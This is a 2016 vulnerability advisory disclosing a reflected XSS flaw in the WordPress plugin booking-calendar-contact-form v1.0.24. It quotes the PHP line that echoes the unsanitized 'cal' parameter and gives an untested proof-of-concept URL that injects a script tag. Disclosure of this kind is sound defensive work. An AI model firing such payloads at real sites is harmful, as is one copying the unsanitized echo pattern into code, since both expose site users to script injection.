Advisory #: 342
Title: Reflected XSS in wordpress plugin booking-calendar-contact-form v1.0.24
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/booking-calendar-contact-form
Downloads: 53536
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: booking-calendar-contact-form
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./booking-calendar-contact-form/dex_bccf_admin_int_bookings_list.inc.php: 60: document.location = 'options-general.php?page=dex_bccf.php&cal=<?php echo $_GET["cal"]; ?>&list=1&ld='+id+'&r='+Math.random(); The variable cal appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./booking-calendar-contact-form/dex_bccf_admin_int_bookings_list.inc.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/booking-calendar-contact-form/dex_bccf_admin_int_bookings_list.inc.php?cal="><script>alert(1);</script><"